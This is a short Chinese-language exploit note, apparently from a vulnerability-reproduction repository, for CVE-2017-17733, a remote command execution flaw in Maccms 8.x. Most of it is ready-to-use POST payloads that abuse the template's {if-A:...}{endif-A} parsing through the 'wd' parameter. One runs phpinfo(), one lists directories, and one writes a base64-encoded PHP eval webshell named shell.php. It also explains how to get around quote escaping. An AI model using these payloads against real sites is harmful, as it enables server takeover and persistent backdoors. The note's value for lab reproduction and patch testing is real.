Skip to content

Latest commit

 

History

History
64 lines (30 loc) · 2.09 KB

maccms 远程命令执行(CVE-2017-17733).md

File metadata and controls

64 lines (30 loc) · 2.09 KB

maccms 远程命令执行(CVE-2017-17733)

描述: Maccms是一套跨平台的基于PHP和MySQL快速建站系统。。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

影响版本: Maccms 8.x版本中存在安全漏洞

该漏洞点

image-20211030145102336

利用wd参数post' wbeshell

漏洞利用

url:localhost/maccms8/?m=vod-search (有的网站不需要些maccms8,因为有的人会改名,改成maccms888啥的都有,这里靶场干脆不要这个)

post:wd={if-A:phpinfo()}{endif-A}


image-20211030150041158

该点hi利用正则绕过

'/{if-([\s\S]?):([\s\S]+?)}([\s\S]?){endif-\1}/is'

如何要写入一个shell呢,我们只要控制它第二个子匹配获取到的是我们控制的恶意代码,并且绕过几个过滤替换的坑就好

{if-A:EXP}{endif-A}

由于不能带单引号,会被直接转义,于是尝试构造命令,先去读当前目录,结果被and被替换了,都忘记这个了。

wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}

imgimg

网上的getshell基本都是通过base64编码写入,没有引号并不会报错,只是有一个notice,仍然可以使用,是因为被隐性作为常量对待了

通过base64编码构造shell并且写入

wd={ifA:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A}

漏洞原理:

https://www.cnblogs.com/BOHB-yunying/p/13655030.html